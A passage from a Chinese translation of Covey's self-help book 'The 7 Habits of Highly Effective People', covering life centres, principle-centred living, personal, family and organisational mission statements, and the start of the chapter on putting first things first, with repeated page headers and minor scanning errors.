终日忧心忡忡,患得患失。面对名气、地位或者条 件好过自己的人就觉相形见绌,面对稍逊自己的人 又趾高气扬。自我评价和自我认识如此飘忽不定, 起落频繁,却还要固执地守住自己的资产、所有物、 有价证券、地位和名誉不放。难怪有人会在股票大 跌或政坛失意后一死了之。 以享乐为中心 与名利紧密相关的享乐也可能 成为生活的中心,这在享乐之风盛行的速成主义世 界里不足为奇。电视与电影向人们展示了另外一些 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 170 ~ 人的财富和安逸生活,从而激发了人们的渴望。 然而银幕上的浮华生活对于人格、效能和人际 关系的影响却远不如表面看起来那么美好。 适度娱乐可使人身心舒畅,有利于家庭及其他 人际关系的改善,但是短暂的娱乐和刺激并不能给 人持久的快乐与满足。贪图享乐的人很快就会厌烦 已有的刺激,渴望追求更高层次的刺激和 q 陕感”。 长期沉溺于此,他就会以是否能够享乐来评价一切。 休太长的假,看太多的电影或电视,打太多的 电子游戏,长期无所事事,都等于浪费生命,无益 于增长智慧,激发潜能,增进安全感或指引人生, 只不过制造更多的空虚而已。 马尔科姆.马格里奇(Malcolm Muggeridge)在 《20 世纪见证》(ATwentieth—Century Testimony) 中写道: 回忆往昔,对我触动最大的是,当时看上去至 关重要,妙趣横生的事,现在看来竟是微不足道, 甚至有些荒谬。比如看似耀眼的成就、名望和赞扬, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 171 ~ 得到金钱或女人后的快乐,像撒旦一样游走于世界 各地,经历‚名利场‛里的一切。 现在回想起来,所有这些自我满足都不过是海 市蜃楼,黄粱一梦。 以敌人或朋友为中心 青少年尤其容易以朋友 为重,为了被同龄人的团体所接纳,他们愿付出一 切代价,对于这个团体内流行的价值观也照单全收。 他们对团体极度依赖,易受他人的感觉、态度、行 为或情绪的影响。 以朋友为中心和以配偶为中心类似,都是感情 上过分依赖某个人,因此也容易出现需要/冲突的 恶性循环和不良后果。 以敌人为中心的情况似乎闻所未闻,实则相当 普遍,只是往往不为本人所注意罢了。当一个人觉 得遭到某个在社会层面或感情层面上十分重要的人 物(如主管)的不公平待遇后,很容易对其耿耿于怀, 并处处作对,这就是以敌人为生活中心。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 172 ~ 我有一位朋友在大学教书,与行政主管关系恶 劣,整天都把对方看作假想敌,几乎走火入魔,家 庭生活与工作也都大受影响,最后不得不选择离开, 另谋职业。 于是我问他:‚如果不是那个家伙,你还是愿 意留下来的,是吗?‛ 他回答:‚是的,可是只要他在一天,我就不 得安宁,只好跳槽。‛ ‚你为什么让他成了你生活的中心?‛ 朋友被问住了,矢口否认这个事实。但我指出 他就是在听任别人控制自己的生活,削弱自己的信 心并危害到自己重要的人际关系。 最后朋友承认行政主管的确对他影响很大,但 否认是他咎由自取,将责任全部推给那位行政主管, 认为错在对方,而自己是无辜的。 深谈之后,他终于认识到了自己的部分责任, 正因为没有正确对待自己的责任,才成了一个不负 责任的人。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 173 ~ 有些离婚的人也对与前任配偶的过节念念不忘, 心里放不下对对方的怨愤,需要不断谴责对方的缺 点来证明自己的无辜。 有些子女成年后,仍为父母当年的忽视、偏心 或辱骂而在公开场合或私下里愤愤不平,消极地抱 怨自己不幸的人生剧本,这些也都是以敌人为中心 的表现。 以朋友或敌人为中心的人没有内在的安全感, 自我价值变化无常,受制于他人的情绪和行为;人 生方向也取决于他人的回应,时时揣摩如何反击; 他们的智慧受限于以敌人为中心的偏执心理;毫无 力量可言,总是被别人牵着鼻子走。 以宗教为中心 我相信任何有宗教信仰的人都 知道,经常去教堂的人不一定有崇高的精神。有些 人热衷于宗教活动,却无视周围人的紧急求助,违 反了自己标榜的信仰;而另一些不那么热衷于宗教 活动,甚至没有宗教信仰的人,其言行却更合乎宗 教劝人向善的宗旨。 以宗教为中心的人,往往关注个人形象或出席 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 174 ~ 活动,戴着伪善的面具,其安全感和内在价值也因 此受到影响。他们的人生方向并非来自良知,而是 随波逐流。他们喜欢给别人贴标签,比如说这些人 是“积极的”,是“自由派”,那些人是“消极的”, 是“保守派”。 由于宗教是有自己的政策、计划、活动和成员 的正式组织,因此本身并无法赋予任何人以持久的 安全感或内在价值,只有遵循教堂所倡导的原则才 能赋予一个人以安全感。 宗教也不能长期为人指引人生方向。以宗教为 中心的人在礼拜日和工作日的思考或行为方式完全 不同,这种不完整的人格会威胁到他们的安全感, 需要进一步给别人贴标签和给自己辩护。 把宗教当做目标而不是实现目标的手段会削弱 智慧和平衡感。虽然宗教声称能通过教导赐人力量, 但也只是以上帝传授神圣力量的工具的身份,并未 声明自己就是力量本身。 以自我为中心 时下最常见的恐怕就是以自我 为中心的人,他们最明显的特征就是自私自利,与 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 175 ~ 多数人的价值观相逆。然而市面上盛行的个人成功 术无一不是以个人为中心,鼓吹只索取,不付出, 却不知狭隘的自我中心观会使人缺乏安全感和人生 方向,也不会有智慧及行动力量。这就像是以色列 的死海,只有流入,没有流出,于是变得死水一潭。 唯有以造福人群,无私奉献为目的追求自我成长, 才能在这四方面不断长进。 识别自己的生活中心 你现在的状况如何?什么是你的生活中心?有时 并不容易回答。也许最好的办法就是详细考察支撑 自己人生的因素。如果你能在下表中认出一种或几 种行为,你就能追踪到导致这些行为的生活中心— —一个限制效能的生活中心。 一般说来,我们的生活中心是以上某几种中心 的混合体,依环境不同而有所变化。大多数人的生 活受到多种因素的影响,可能今天以朋友为中心, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 176 ~ 明天又变为以配偶为中心。 表 4—1 各种重心的特征 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 177 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 178 ~ 生活中心如此摇摆不定,情绪上难免起起落落, 一会儿意气风发,一会儿颓唐沮丧;一会儿斗志昂 扬,一会儿又落魄消沉。缺乏固定的人生方向,没 有持久的智慧,也没有稳定的力量或自我评价。 所以,最理想的状况还是建立清晰明确的生活 中心,由此才能产生高度的安全感、人生方向、智 慧和力量,使人生更积极,更和谐。 以原则为中心 以正确原则为生活中心可以为发展上述四个支 撑人生的因素奠定坚实的基础。 认识到这一点,我们就有了安全感。原则是恒 久不变,历久弥新的,不像其他中心那样多变,所 以值得信赖,可以给我们高度的安全感。原则是理 性而非感性的,因此能让我们充满信心,配偶和密 友都可能离我们而去,但原则不会。原则不会怂恿 你投机取巧,不劳而获,其有效性不取决于环境、 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 179 ~ 他人行为或“流行风”。原则是永生的,不会毁于火 灾、地震或偷盗,也不会今天在这儿,明天又到了 那儿。 原则是深刻的、实在的、经典的真理,是人类 共有的财富。它们准确无误,始终如一,完美无瑕, 强而有力,贯穿生活的方方面面。 即使某时某地某人无视原则的存在,我们也无 须忧心,因为原则可以超越时空的限制。几千年的 历史一次又一次地见证了原则的胜利,而更重要的 是,我们能在自己的生活和经验中证实这些原则。 当然,我们并非无所不知。我们对正确原则的 认识和理解受限于我们对自己和世界本质的了解, 也受到时下流行的与原则相背离的哲学和理论的影 响。但是这些哲学和理论和它们的“前辈”一样, 都有风光的时候,却难逃被抛弃的命运,不能持久, 原因就是它们的基础是虚幻的。 我们的局限性是可以逐步改善的。理解成长的 原则可以让我们在寻找正确原则的时候充满自信, 相信学得越多,就越能以正确的角度更清楚地观察 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 180 ~ 世界。原则不会改变,但我们对原则的理解可以改 变。 如果以原则为生活中心,智慧和人生方向的来 源就是正确的地图,反映事物的真实历史和现状。 正确的地图让我们能够清晰了解自己的目标以及实 现途径,能够基于正确的资料做出更有意义,更易 执行的决策。 表 4-2 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 181 ~ 而力量来自自我意识、知识和积极的心态,因 而能够摆脱环境及他人态度和行为的制约。 唯一能制约力量的是原则本身的必然后果。前 面说过,我们可以自由选择行动,但无法选择行动 的后果——“拾起手杖的一头,也就拾起了手杖的 另一头”。 任何原则都有必然后果,遵从原则,后果就是 积极的;忽视原则,后果就是消极的。原则具有广 泛适用性,无论是否为人所知,这种制约都是普遍 存在的。越了解正确的原则,明智行动的自由度就 越大。 以永恒不变的原则作为生活中心,就能建立高 效能的思维定式,也就能正确审视所有其他的生活 中心。(见图 4—2) 一个人的思维定式能决定他的态度和行为,就 好像“透镜”能影响一个人对世界的观察一样。生 活中心不同,产生的观念也就各异,本书附录一对 此有详细说明,但是为了让大家更快地了解这一点, 下面先通过一个实例来看看不同的思维定式(生活 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 182 ~ 中心)会让人有怎样不同的回应。 现在假定你已经买好票,准备晚上与配偶一起 去听音乐会,对方兴奋不已,满怀期待。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 183 ~ 可是下午四点钟,老板突然来电话要你晚上加 班,理由是第二天上午九点钟有一个重要会议。 ◆对以家庭或配偶为中心的人而言,当然是优 先考虑配偶的感觉,为了不让他(她)失望,你很可 能会委婉地拒绝老板。即使为了保住工作而勉强留 下来加班,心里也一定十分不情愿,担心着配偶的 反应,想着用什么合适的理由来平息他(她)的失望 与不满。 ◆以金钱为中心的人则看重加班费或加班对 于老板调薪决策的影响,于是理直气壮地告诉配偶 自己要加班,并理所当然地认为对方应该谅解,毕 竟经济利益高于一切。 ◆以工作为中心的人会觉得正中下怀,因为加 班既可以让自己增加经验,又是一个很好的表现机 会,有利晋升,所以不论是否需要,都会自动延长 加班时间,并想当然地以为配偶会以此为荣,不会 为爽约一事小题大做。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 184 ~ ◆以名利为中心的人,会算计一下加班费能买 到什么,或者考虑一下加班对个人形象有何助益, 比如赢得一个为工作而牺牲自己的美誉。 ◆以享乐为中心的人,即使配偶并不介意,也 还是会撇下工作赴约,因为实在需要犒劳自己一下。 ◆以朋友为中心的人,则根据是否有朋友同行, 或其他工作伙伴是否也加班来做决定。 ◆以敌人为中心的人,会乐于留下,因为这可 能是一个打击对手的良机——在对手悠哉游哉的时 候拼命工作,连他的任务也一并完成,牺牲自己的 一时快乐来证明自己对公司的贡献比对手更大。 ◆以宗教为中心的人则会考虑其他教友的计 划,考虑办公室是否有其他教友或者音乐会是否与 宗教相关——宗教音乐就比摇滚乐吸引力要大,由 此决定取舍。此外,你认为优秀教友会怎么做,加 班是奉献还是追求物质利益等也会影响你的决定。 ◆以自我为中心的人只关心哪一样对个人的 好处更大:是听音乐会好,还是让老板增加好感更 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 185 ~ 有利?两种选择给自己带来的后果有何不同会是考 虑的主要因素。 以原则为中心的人会保持冷静和客观,不受情 绪或其他因素的干扰,综观全局——工作需要、家 庭需要、其他相关因素以及不同决定的可能后果, 深思熟虑后才做出正确的选择。 拥有其他生活中心的人可能和以原则为中心的 人做出的选择一样,都是赴约或者都是加班,但是 后者的选择会有以下几项特征: 首先,这是主动的选择,没有受到环境或他人 的影响,是通盘考虑后选择的最佳方案,是有意识 的明智选择。 其次,这是最有效的选择,因为它基于原则, 其长期后果可以预料。 第三,这是根据原则所做出的选择,能提高自 身的价值。为了报复他人而决定加班或者为了公司 利益而加班的结果虽然相同,但意义却大相径庭。 贯彻这个决定的过程有助于从整体上提高你的生活 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 186 ~ 质量和意义。 第四,若平时已与配偶和老板建立了良好的相 互依赖关系,此时就不难向他们解释如此决定的理 由,而且也会得到体谅。因为已经实现了独立,所 以可以选择有效的相互依赖,可以授权他人完成部 分任务,剩下的等自己第二天一早来完成。 最后,对自己的选择胸有成竹,无论结果怎样, 都能专注于此,并且心安理得,无所牵挂。 以原则为生活中心的人总是见解不凡,思想与 行为也独具一格,而坚实、稳定的内在核心赐予他 们的高度安全感、人生方向、智慧与力量,会让他 们度过积极而充实的一生。 撰写使命宣言并付诸实践 弗兰克尔说: “我们是发现而不是发明自己的人 生使命。”这么说的确再恰当不过了。凡是人都具备 良知与理智,足以发现个人的特长与使命。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 187 ~ 在实现这种独特目标的过程中,我们会再次注 意到积极主动和专注于影响圈的重要性。如果只把 心思放在关注圈内,沉溺于寻求生命的抽象意义, 那就等于放弃自己的责任,听任环境或他人来主宰 自己的命运。 弗兰克尔说得好: 每个人都有特殊的职责或使命,他人无法越俎 代庖。生命只有一次,所以实现人生目标的机会也 仪止于一次……追根究底,其实不是你询问生命的 意义何在,而是生命正提出质疑,要求你回答存在 的意义为何。换言之,人必须对自己的生命负责。 再以计算机作比喻。前一章曾提到,你是自己 的人生程序设计员。本章则要求你写出属于个人的 程序,也就是个人使命宣言。 这件工作并非一蹴而就,而是必须经过深思熟 虑,几经删改,才可以定案。其间可能耗费数周, 甚至数月的时间,而且即使定案,仍须不时修正。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 188 ~ 因为随着物换星移,人的想法也会改变。 无论如何,使命宣言是个人的根本大法、基本 人生观,也是衡量一切利弊得失的基准。撰写使命 宣言的过程,重要性不亚于最后的结论。为了形诸 文字,你势必要彻底检讨自己真正的理想——最珍 贵的人生目标。随着思想日益清明、貌随心转,你 会有面目一新的感觉。 善用整个大脑 自我意识让我们能审视自己的思想,这特别有 助于撰写个人使命宣言。撰写过程中需要发挥作用 的两项人类天赋——想象力和良知——是右脑的主 要职能。知道怎样开发右脑功能能够大大增强设计 人生的能力。 根据研究结果显示,人的大脑可分为左右两部 分,左脑主司逻辑思考与语言能力,右脑职掌创造 力与直觉。左脑处理文字,右脑擅长图像;左脑重 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 189 ~ 局部与分析,右脑重整体与整合。 最理想的状况是左右脑均衡发展,并能随时切 换,这样遇到问题时就可以先判断需要哪个半脑出 面应对,然后加以调用即可。但实际上,每个人或 多或少都是某半边大脑比较发达,面对问题时也倾 向于用较发达的一边做出应对。 用亚伯拉罕·马斯洛(Abraham Maslow,美国心 理学家——译注)的话说:“善用榔头的人往往认为 所有东西都是钉子。”所以前面的实验中才会有关于 少妇或老妇的不同意见。善用右脑和善用左脑的人 看事物往往是不同的。 当今世界基本上是崇尚左脑的,语言文字、逻 辑推理等被奉为重要才能,而感官直觉、艺术创造 总是居于从属地位,难怪很少有人习惯于发挥右脑 功能。 开収右脑的两个途径 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 190 ~ 理解了左右脑的这种分工,就不难明白善于创 造的右脑对于第一次创造的成功来说影响巨大。我 们越是开发右脑的功能,就越能通过心灵演练和综 合能力,跨越时空障碍对人生目标做全盘考量与规 划。拓宽思路和心灵演练就是开发右脑的两个途径。 拓宽思路 有时,人会因为意外打击而在瞬间从 左脑思维变成右脑思维,比如亲人离世、罹患重病、 经济危机或陷入困境的时候,我们会扪心自问:“到 底什么才是真正重要的?我究竟在追求什么?” 积极主动者不需要这种刺激,就能拓宽思路, 自觉转换思维定式。 方法有很多,比如本章开篇处,想象参加自己 的葬礼就是其中之一。现在请试着写下给自己的悼 词,越具体越好。 你也不妨在脑海里描绘银婚及金婚纪念日的情 景,邀请配偶与你一起来畅想。两人共同的理想婚 姻关系应当怎样,怎样通过日常活动来付诸实施? 你也可以想象退休后的情形,希望那时候自己 有怎样的贡献和成就,退休后又有什么计划,是否 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 191 ~ 想二次创业? 开动脑筋,想象每一个细节,尽量投人自己的 热情与情感。 我曾在大学课堂上做过类似实验,我对学生说: “假设你只剩下一学期的生命了,那么该如何把握 这最后的学习机会呢?请想象自己将怎样度过这个 学期。” 突然换了一种思路后,学生们发现了很多新的 价值观。 我要求他们以一周的时间,以这个思路来检讨 自己,并每天记下心得。 结果,有人开始给父母写信,表达对父母的爱 心和赞美;有人则与感情不和的手足或朋友重归于 好,所有这一切都发人深省。 学生们行动的中心和主导的原则都是爱心。一 旦想到自己的生命只有短暂的几个月,吵架、仇恨、 羞辱和责骂就都变得微不足道了,而原则和价值观 却变得无比清晰。 人人都能够运用想象力来挖掘内心深处真正的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 192 ~ 价值观,虽然技巧各异,但效果相同。只要肯用心 探究、探求人生目标,就能以一颗虔诚的心对待生 命,把思路拓宽,把目光放远。 心灵演练与确认 施行自我领导不是只要撰写 一个使命宣言就成了,它是一个确立愿景和价值观, 并让自己的生活遵从这些重要原则的过程。右脑会 在这个过程中帮助你进行心灵演练(Vi 。 uali : ation),并对正确行为加以确认(Affirmation)。这 会让你的生活更符合使命宣言,也是“以终为始” 的另一种应用。 确认应该包括五个基本要素:个人、积极、果 断、可视、情感。例如,“发现子女行为不当时,我 (个人)能以智慧、爱心、坚定的立场与自制力(积极) 及时应对(果断),结果让我深感欣慰(情感)。” 这个过程是可视的,可以进行心灵演练。我每 天都可以抽出几分钟,在身心完全放松的情况下, 想象孩子们可能做出的各种不当行为,以及自己的 反应。我尽量设想每一个细节,想象的细节越生动, 脑海中的影像越清晰,就越能深刻体会到那种感觉, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 193 ~ 仿佛身临其境。 我看到了她的不当行为,要在平常,这一定会 让我心跳加剧,脾气失控,但是,这一次我在脑海 中看到自己在关爱和自律的作用下做出了正确反应, 于是加以“确认”。我能够按照自己的价值观和使命 宣言来撰写程序,改写人生剧本。 如能每天如此,我的行为就会在潜移默化中逐 渐转变,直到能完全控制情绪,冷静应变。从此我 的生活将以我的价值观为依据的人生剧本,而不是 外界环境。 我的儿子肖恩是高中橄榄球校队的四分卫,我 曾帮助并鼓励他广泛应用‚确认‛的方法,直到他 学会独立运用。 我教他如何通过深呼吸和肌肉松弛技巧来放 松自己,达到完全平和的心态。然后帮他在心里演 练自己如何应对最艰苦的比赛。 有一次,他抱怨在球赛时常常会莫名地紧张。 细谈之后,我发现那是因为他脑海中总是浮现出千 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 194 ~ 钧一发的时刻。于是我教他在压力最大时通过心灵 演练来放松自己,保持心平气和。我们发现心灵演 练内容的正确与否非常重要,如果演练的是错误的 事情,那么收获的也是错误。 查尔斯·加菲尔德(Charles Garfield)博士曾 研究过很多竞技运动和企业方面的佼佼者,还研究 过宇航员上天之前在地面进行的模拟演练。 结果他发现他们中的很多人(包括一流运动员) 都擅长这种心灵演练。在商务谈判,上台表演,日 常挑战或困难冲突到来以前,不妨参照以上范例多 加演练,直到能够胸有成竹,感同身受,无所畏惧。 就撰写和实践使命宣言来说,执掌创造力与直 觉的右脑是我们最有用的资产。 事实上,有效的个人领导、心灵演练和确认方 法都源于对人生目标和原则的深思熟虑,并在改写 人生剧本,深入理解人生目标和基本原则方面有无 穷力量。我相信所有久经考验的宗教的核心也是这 些原则和实践,只是名称稍有出入,比如静坐、祈 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 195 ~ 祷、圣餐礼、神圣誓约、经文研究等,都与良知和 想象力相关。 尽管心灵演练威力无穷,但也必须以品德和原 则,而不是以性格魅力为基础才行,否则就会被误 用或滥用,尤其容易被用来谋取个人名利。 心灵演练和确认也是设计人生的手段,但必须 注意不要违反自己的生活中心,更不能源于金钱、 自我或其他远离正确原则的生活中心。 想象力可以帮人达到追名逐利的目的,但却不 能长久。我相信脚踏实地的想象力若能与良知共同 发挥作用,将有助于超越自我,并实现基于独特目 标和原则的高效能生活。 确定角色和目标 人生在世,扮演着各式各样的角色:为人父母、 妻子、丈夫、主管、职员、亲友,同时也担负不同 的责任。因此,在追求圆满人生的过程中,如何兼 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 196 ~ 顾全局,就成了最大的考验。顾此失彼,在所难免; 因小失大,更是司空见惯。 考虑到这一点,在撰写使命宣言时,不妨分开 不同的角色领域,一一订立目标。在事业上,你可 能扮演业务员、管理人员、产品开发人员的角色。 在生活中,你或许是妻子、母亲、丈夫、邻居、朋 友。其余政治、信仰方面的种种角色,也都各有不 同的期待与价值标准。 下面这位企业主管就将角色和目标这两个理念 引进了他的使命宣言: 我的使命是堂堂正正地生活,并且对他人有所 影响,对社会有所贡献。 为完成这一使命,我会要求自己: 有慈悲心——亲近人群,不分贵贱,热爱每一 个人。 甘愿牺牲——为人生使命奉献时间、才智和金 钱。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 197 ~ 激励他人——以身作则,证明人为万物之长, 可以克服一切困难。 施加影响——用实际行动改善他人的生活。 为了完成人生使命,我将优先考虑以下角色: 丈夫——妻子是我这一生中最重要的人,我们 同甘共苦,携手前行。 父亲——我要帮助子女体验乐趣无穷的人生。 儿子/兄弟——我不忘父母、手足的亲情,随 时对他们施以援手。 基督徒——我信守对上帝的誓言,并为他的子 民服务。 邻居——我要学习耶稣一样爱和善待他人。 变革者——我能激发和催化团队成员的优异 表现。 学者——我每天都学习很多重要的新知识。 一旦确定主要的人生角色,你就能清楚地掌握 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 198 ~ 全局。接着,还要订定每个角色的长期目标,这些 目标必须反映你真正的价值观、独特的才干与使命 感。 角色与目标能赋予人生完整的架构与方向,假 定你还缺少这么一份个人使命宣言,现在正是开始 撰写的最佳时机。至于近期的目标,将于下一章再 讨论。 家庭的使命宣言 除了个人以外,家庭也可凭借共同的目标来促 进和谐。有不少家庭处理人际关系没有原则,全凭 一时兴起及个人好恶,缺乏长久之计。因此,每当 压力升高,家人便乱了方寸,出现冷言相向、冷嘲 热讽或沉默抗议等不良反应。在这种环境下长大的 孩子,必然以为解决问题的方法只有冲突或逃避。 其实,每个家庭都有共同的价值观及理念,作 为生活的重心,撰写家庭使命宣言正可加以凸显这 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 199 ~ 个生活重心。家庭使命宣言有如宪法,可当作衡量 一切利弊得失的标准,以及重大决定的依据,并使 全家人团结在共同的目标下。 撰写家庭使命宣言,同样也是过程与成果并重。 由全家共同讨论、拟订及定时修正,更能促进沟通, 强化向心力与坚定付诸实现的决心。面临危机或困 难时,家庭使命宣言可帮助一家人认清方向,共渡 难关。 我家墙上便贴有这么一份使命宣言,记载着全 家共同定下的原则,包括互助合作、维持整洁、用 言语表达感情、培养专长与欣赏家人的才华等等。 每年 6 月与 9 月,即学年结束与开始之际,我们都 会修订,使之更符合实际状况。 组织的使命宣言 对于成功企业来说,使命宣言同样至关重要。 身为企业顾问,我的主要任务之一,就是协助企业 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 200 ~ 制定可行的长期目标。这类目标必须由所有成员共 同拟定,不能由少数决策高层包办。这里再次强调, 参与过程与书面成果同样重要,而且还是付诸实践 的关键。 每次到国际商用机器公司(IBM)参与员工培训, 我都感触良多。IBM 主管时时不忘向员工强调该公 司的三大原则:个人尊严、卓越与服务。 它们代表了 IBM 的信仰,因此不论世事如何变 化,IBM 从上到下的每一个人都始终信守这三大原 则,无一例外。 记得有一次在纽约训练一批 IBM 员工,班上人 数不多,约 20 人左右。不幸有位来自加州的学员生 病,需要特殊治疗。主办训练的 IBM 人员,原想安 排他们就近住院治疗,但为体谅他妻子的心情,便 决定送他回家由家庭医生诊治。为了争取时间,无 法等待普通班机,公司居然租直升机送他到机场, 还包专机,千里迢迢送回加州。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 201 ~ 虽然确实的金额不详,但我相信这笔开销不下 数千美元。为了秉持个人尊严的原则,IBM 宁愿付 出这些代价。这对在场的每个人都是最好的教育机 会,我也留下了深刻的印象。 另一家连锁旅馆的服务态度,同样令我难以忘 怀。那决不是表面功夫,而是全体员工自动自发的 表现。 当时我因为主持一项研讨会而住进这家旅馆, 由于到得太迟,已无餐点可用。前台人员却主动表 示,可以到厨房跑一趟,还殷勤询问:‚您要不要先 看看会议厅?有没有需要我效劳的地方?您还需要其 他东西吗?‛当时并没有主管在旁边监督。 第二天研讨会开始,我发现所带的色笔不够, 便趁空抓住一名服务员,说明困难。 他瞥了我的名片一眼,然后说:‚柯维先生, 我会解决这个问题的。‛ 他并没有推脱:‚叫我到哪儿去找。‛或者:‚请 你问前台。‛他一口承担下来,而且表现出为服务深 感荣幸的样子。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 202 ~ 事后我又观察到不少员工热心服务的实例,这 引起了我的好奇心。为什么这个机构能够彻底奉行 顾客至上的原则?我访问了各阶层的员工,发现个个 士气高昂,态度积极。于是我请教经理秘诀何在。 他取出整个连锁网的共同使命宣言给我看。 我看过以后说:‚这的确不同凡响,但很多公 司都订有崇高的目标,却不见得能够实践。‛这位经 理接着又取出专属于这家旅馆的经营目标,是另一 份组织宣言:‚这是根据总公司的大原则,并针对我 们的特殊需要而拟定的。‛ ‚是谁订立的呢?‛ ‚全体员工。‛ ‚清洁工、女侍、文书职员都包括在内?‛ ‚是的。‛ 这两份宣言代表整个旅馆的中心思想,无怪乎 营运成绩斐然。它既有助于员工与顾客、员工与员 工之间的关系,也左右了主管的领导方式,甚至影 响到人员的招募、训练与薪资福利。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 203 ~ 后来,我住过同一连锁网的另一家旅馆,那里 的服务水准也毫不逊色。当我问服务员饮水机在哪 里时,他亲自领我到饮水机前。 更令人印象深刻的是,那里的职员居然向主管 主动承认错误。当我住进旅馆的第二天,客房部经 理打电话来为服务不周表示道歉。并招待我们用早 餐。只为了一位服务员送饮料到我们的房间时,迟 了 l5 分钟,虽然我并不在乎。这名服务员若不主动 报告,没有人会知道。但是他承认错误,使顾客获 得更好的服务。 这说明了什么样的企业文化呢?如果这名服务 员不主动报告,没人会知道这件事,但是他承认了, 只为了让顾客得到更好的服务。 正如我对第一个宾馆的经理所说的,很多公司 都有令人印象深刻的崇高目标,但同样是使命宣言, 由所有成员共同拟定的和由少数决策高层包办的真 是有天壤之别。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 204 ~ 唯有参与 才有认同 许多组织,包括家庭,都有一个最根本的问题, 那就是成员并不认同集体目标。我经常看到员工个 人目标与企业目标背道而驰的现象,还有很多企业 的薪酬制度与其所标榜的理想不相契合。 所以在审视企业的使命宣言时,我一定会问员 工:“这儿有多少人知道你们有使命宣言?有多少人 知道其中的内容?有多少人参与了使命宣言的拟定? 又有多少人真正认同并在决策中贯彻执行?” 唯有参与,才有认同,这个原则值得强调再强 调。 小孩子或新进人员很容易接受父母与企业加诸 其上的观念,但长大成人或熟悉环境后,就会产生 独立意志,要求参与。假使没有全体成员参与,实 在难以激发向心力与热忱。这便是为什么我要一再 强调,组织应开诚布公,不厌其烦地广征意见,订 立全体共有的使命宣言。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 205 ~ 一个真正反映每个成员的共同愿景和价值观的 使命宣言,能调动他们的创造力和奉献精神,使他 们不再需要旁人的指导、监督和批评,因为他们已 经接受了不变的核心原则,接受了企业为之奋斗的 共同目标。 付诸行动 1.把你做本章开篇的参加葬礼心灵演练时的 心得列表整理。 2.根据目前的理解,写下自己的人生角色。 检讨你对目前所扮演的角色和自己的生活是否满意。 3.每天抽空撰写个人使命宣言。 4.阅读附录一所列的各种生活中心,看看你 的行为符合其中哪种类型?它们是否让你的日常行 为有了一定依据?你是否满意? 5.为编写使命宣言而收集笔记、引言、想法 以及可能有用的各种资料。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 206 ~ 6.设想近期内可能会从事的某个项目,用智 力创造的原则,写下你希望获得的结果与应采取的 步骤。 7.向家人或同事讲述本章的精华,并建议大 家共同拟定家庭或团队的使命宣言。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 207 ~ 第五章 习惯三 要事第一 ——自我管理的原则 有效管理是掌握重点式的管理,它把最重要的 事放在第一位。由领导决定什么是重点后,再靠自 制力来掌握重点,时刻把它们放在第一位,以免被 感觉、情绪或冲动所左右。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 208 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 209 ~ 重要之事决不可受芝麻绿豆小事牵绊。 ——歌德(Goethe),德国诗人 现在请准备好纸和笔,用几分钟的时间简要回 答下面这两个问题,你的回答对我们即将深入探讨 的习惯三来说十分重要。 ◆在你目前的生活中,活,但是你一直没有去 做? ◆在你目前的生活中,有哪些事情能够彻底改 观你的个人生有哪些事情能够彻底改观你的工作局 面,但是你一直没有去做? 我们稍后再来讨论这两个问题,现在,我们先 来探讨一下习惯三的具体内容。 习惯三可以让人受益匪浅,是习惯一和习惯二 的具体实践。 习惯一告诉你:“你是创造者,你掌控自己的人 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 210 ~ 生。”这个习惯的基础是人类特有的四大天赋,即想 象力、良知、独立意志以及最为重要的自我意识。 